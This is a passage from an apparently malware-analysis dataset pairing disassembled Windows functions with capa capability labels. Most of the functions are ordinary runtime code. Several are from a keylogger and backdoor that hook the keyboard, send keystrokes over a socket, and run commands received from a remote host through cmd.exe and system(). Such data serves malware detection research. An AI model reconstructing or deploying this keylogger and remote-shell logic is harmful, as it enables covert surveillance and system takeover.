joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001f210
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011992
movzx eax, al
test eax, eax
jne 0x14001f230
mov ecx, 7
call fcn.1400117c6
nop
mov byte [rsp + 0x20], 0
call fcn.140011802
mov byte [rsp + 0x21], al
cmp dword [0x140030730], 1
jne 0x14001f254
mov ecx, 7
call fcn.1400117c6
nop
jmp 0x14001f2ac
cmp dword [0x140030730], 0
jne 0x14001f2a7
mov dword [0x140030730], 1
lea rdx, [0x140028770]
lea rcx, [0x140028440]
call fcn.140011456
test eax, eax
je 0x14001f288
mov eax, 0xff
jmp 0x14001f3b1
lea rdx, [0x140028330]
lea rcx, [section..rdata]
call fcn.1400117ee
mov dword [0x140030730], 2
jmp 0x14001f2ac
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001179e
call fcn.1400116a9
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x14001f309
mov rcx, qword [rsp + 0x30]
call fcn.14001138e
movzx eax, al
test eax, eax
je 0x14001f309
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140038020]
nop
call fcn.140011721
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001f33d
mov rcx, qword [rsp + 0x38]
call fcn.14001138e
movzx eax, al
test eax, eax
je 0x14001f33d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400118f7
nop
call fcn.14001f460
mov dword [rsp + 0x28], eax
call fcn.140011677
movzx eax, al
test eax, eax
jne 0x14001f35c
mov ecx, dword [rsp + 0x28]
call fcn.1400110b9
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001f36b
call fcn.14001190b
nop
xor edx, edx
mov cl, 1
call fcn.14001135c
mov eax, dword [rsp + 0x28]
jmp 0x14001f3b1
add rsp, 0x68
ret
Function at 0x140011294
Capabilities:
Terminate process

Disassembly:
jmp 0x140015d00
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x14001133e
Capabilities:
Parse pe header

Disassembly:
jmp 0x140017040
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140017060
xor al, al
jmp 0x1400170e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140017073
xor al, al
jmp 0x1400170e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001709d
xor al, al
jmp 0x1400170e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400170b1
xor al, al
jmp 0x1400170e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400170c3
xor al, al
jmp 0x1400170e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400170df
xor al, al
jmp 0x1400170e1
mov al, 1
add rsp, 0x38
ret
Function at 0x140014f30
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011492
movzx eax, al
test eax, eax
jne 0x140014f50
mov ecx, 7
call fcn.1400113f2
nop
mov byte [rsp + 0x20], 0
call fcn.14001140b
mov byte [rsp + 0x21], al
cmp dword [0x140021888], 1
jne 0x140014f74
mov ecx, 7
call fcn.1400113f2
nop
jmp 0x140014fcc
cmp dword [0x140021888], 0
jne 0x140014fc7
mov dword [0x140021888], 1
lea rdx, [0x14001d660]
lea rcx, [0x14001d330]
call fcn.140011230
test eax, eax
je 0x140014fa8
mov eax, 0xff
jmp 0x1400150d1
lea rdx, [0x14001d220]
lea rcx, [section..rdata]
call fcn.140011401
mov dword [0x140021888], 2
jmp 0x140014fcc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400113d9
call fcn.140011361
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140015029
mov rcx, qword [rsp + 0x30]
call fcn.1400111c2
movzx eax, al
test eax, eax
je 0x140015029
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140028020]
nop
call fcn.14001139d
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001505d
mov rcx, qword [rsp + 0x38]
call fcn.1400111c2
movzx eax, al
test eax, eax
je 0x14001505d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011447
nop
call fcn.140015180
mov dword [rsp + 0x28], eax
call fcn.14001133e
movzx eax, al
test eax, eax
jne 0x14001507c
mov ecx, dword [rsp + 0x28]
call fcn.140011069
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001508b
call fcn.140011451
nop
xor edx, edx
mov cl, 1
call fcn.1400111b3
mov eax, dword [rsp + 0x28]
jmp 0x1400150d1
add rsp, 0x68
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004054c0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004054d0]
mov dword [rax], 1
mov rax, qword [0x004054e0]
mov dword [rax], 1
mov rax, qword [0x004054b0]
mov dword [rax], 1
mov rax, qword [0x004053a0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004054a0]
mov dword [0x00408008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00405460]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00405350]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Log keystrokes via polling
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x20]
mov qword [rbp - 8], rax
cmp dword [rbp + 0x10], 0
jne 0x40162e
cmp qword [rbp + 0x18], 0x100
je 0x40158d
cmp qword [rbp + 0x18], 0x104
jne 0x40162e
mov word [rbp - 0x12], 0
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
shr ax, 0xf
movzx eax, al
mov dword [rbp - 0xc], eax
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 1
test eax, eax
setne al
movzx eax, al
mov dword [rbp - 0x10], eax
mov rax, qword [rbp - 8]
mov eax, dword [rax]
cmp eax, 0x40
jbe 0x4015ff
mov rax, qword [rbp - 8]
mov eax, dword [rax]
cmp eax, 0x5a
ja 0x4015ff
mov eax, dword [rbp - 0xc]
cmp eax, dword [rbp - 0x10]
je 0x4015f1
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov byte [rbp - 0x12], al
jmp 0x401608
mov rax, qword [rbp - 8]
mov eax, dword [rax]
add eax, 0x20
mov byte [rbp - 0x12], al
jmp 0x401608
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov byte [rbp - 0x12], al
lea rax, [0x00408970]
mov rcx, qword [rax]
lea rax, [rbp - 0x12]
mov r9d, 0
mov r8d, 2
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [0x00408030]
test eax, eax
je 0x40163f
mov eax, 1
jmp 0x40165e
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov r9, rdx
mov r8, rax
mov edx, dword [rbp + 0x10]
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CallNextHookEx]
call rax
add rsp, 0x40
pop rbp
ret
Function at 0x401664
Capabilities:
Log keystrokes via application hook
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
lea rax, [0x00408970]
mov rdx, qword [rbp + 0x10]
mov qword [rax], rdx
mov r9d, 0
mov r8d, 0
lea rdx, [dbg.KeyboardProc]
mov ecx, 0xd
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExA]
call rax
mov rdx, rax
lea rax, [0x00408980]
mov qword [rax], rdx
lea rax, [0x00408980]
mov rax, qword [rax]
test rax, rax
jne 0x4016cc
lea rcx, section..rdata
call sym.puts
jmp 0x401755
lea rcx, str.Keylogger_en_marche...
call sym.puts
lea rax, [0x00408970]
mov rax, qword [rax]
mov r9d, 0
mov r8d, 4
lea rdx, [0x00405037]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x40172d
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_TranslateMessage]
call rax
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DispatchMessageA]
call rax
mov eax, dword [0x00408030]
test eax, eax
jne 0x401754
lea rax, [rbp - 0x30]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMessageA]
call rax
test eax, eax
jne 0x401703
jmp 0x401755
nop
add rsp, 0x50
pop rbp
ret
Function at 0x4017a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Execute command
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x6b0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x640], rcx
mov dword [rbp + 0x648], edx
lea rax, [rbp + 0x480]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x628], rax
mov word [rbp + 0x470], 2
mov eax, dword [rbp + 0x648]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x472], ax
mov rcx, qword [rbp + 0x640]
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x474], eax
lea rax, [rbp + 0x470]
mov rcx, qword [rbp + 0x628]
mov r8d, 0x10
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
jne 0x401875
mov rax, qword [rbp + 0x628]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x401a40
lea rax, [rbp + 0x400]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x400], 0x68
mov dword [rbp + 0x43c], 0x100
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x460], rax
mov rax, qword [rbp + 0x460]
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x458]
mov qword [rbp + 0x450], rax
movabs rax, 0x6578652e646d63
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x28]
lea rdx, [rbp + 0x3e0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x400]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x40195b
mov rax, qword [rbp + 0x628]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x401a40
lea rax, [rbp - 0x20]
mov rcx, qword [rbp + 0x628]
mov r9d, 0
mov r8d, 0x400
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x624], eax
cmp dword [rbp + 0x624], 0xffffffff
je 0x401a0b
cmp dword [rbp + 0x624], 0
je 0x401a0b
mov eax, dword [rbp + 0x624]
cdqe
mov byte [rbp + rax - 0x20], 0
lea rax, [rbp - 0x20]
mov r8d, 9
lea rdx, str.keylisten
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x4019fa
mov rax, qword [rbp + 0x628]
mov rcx, rax
call dbg.StartKeylogger
mov rax, qword [rbp + 0x628]
mov r9d, 0
mov r8d, 4
lea rdx, str.___
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x40195b
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.system
jmp 0x40195b
mov rax, qword [rbp + 0x3e0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x628]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
nop
add rsp, 0x6b0
pop rbp
ret
Function at 0x402000
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x402188
mov rax, qword [0x00408628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40204c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x4020d5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x402030
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x4021bd
mov rax, qword [0x00408628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4021a0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x4020ce
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402130
add dword [0x00408624], 1
cmp edi, 8
jae 0x402103
test dil, 4
jne 0x402174
test edi, edi
je 0x4020f8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40218f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x4020f8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40211c
jmp 0x4020f8
add rsi, qword [0x00408628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4020ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x4020f8
xor esi, esi
jmp 0x402057
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x4020f8
mov rax, qword [0x00408628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x402910
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x402964
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40295b
test rsi, rsi
je 0x40295b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402940
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402ba0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402bb0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402bc0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402c01
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402bf8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402c03
add rax, 0x28
cmp rax, r9
jne 0x402be4
xor eax, eax
ret

Function at 0x402ca0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004053a0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x402d0d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402d0d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402d0d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402d04
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402d0f
add rax, 0x28
cmp rax, r9
jne 0x402cf0
xor eax, eax
add rsp, 0x28
ret

Function at 0x402e10
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004053a0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402e30
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402e28
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402e8d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402e84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402e94
add rax, 0x28
cmp rax, r9
jne 0x402e70
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x402eb0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x004053a0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402f1e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402f1e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402f1e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402f1e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402f15
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402f25
add rcx, 0x28
cmp rcx, rax
jne 0x402f00
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402f38
jmp 0x402f1e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402f46
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402f1e
test r9d, r9d
jg 0x402f30
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x4031e0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140002240
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140002261
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000228e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140002290
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1400022e9
test ecx, ecx
jle 0x1400022c9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1400022e9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400022e9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
Function at 0x140002310
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140002332
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140002341
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140002364
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140002366
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400023a2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000243e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1400023dd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000241e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000243e
cmp rbx, rax
ja 0x1400023f0
test rbx, rbx
je 0x14000243e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al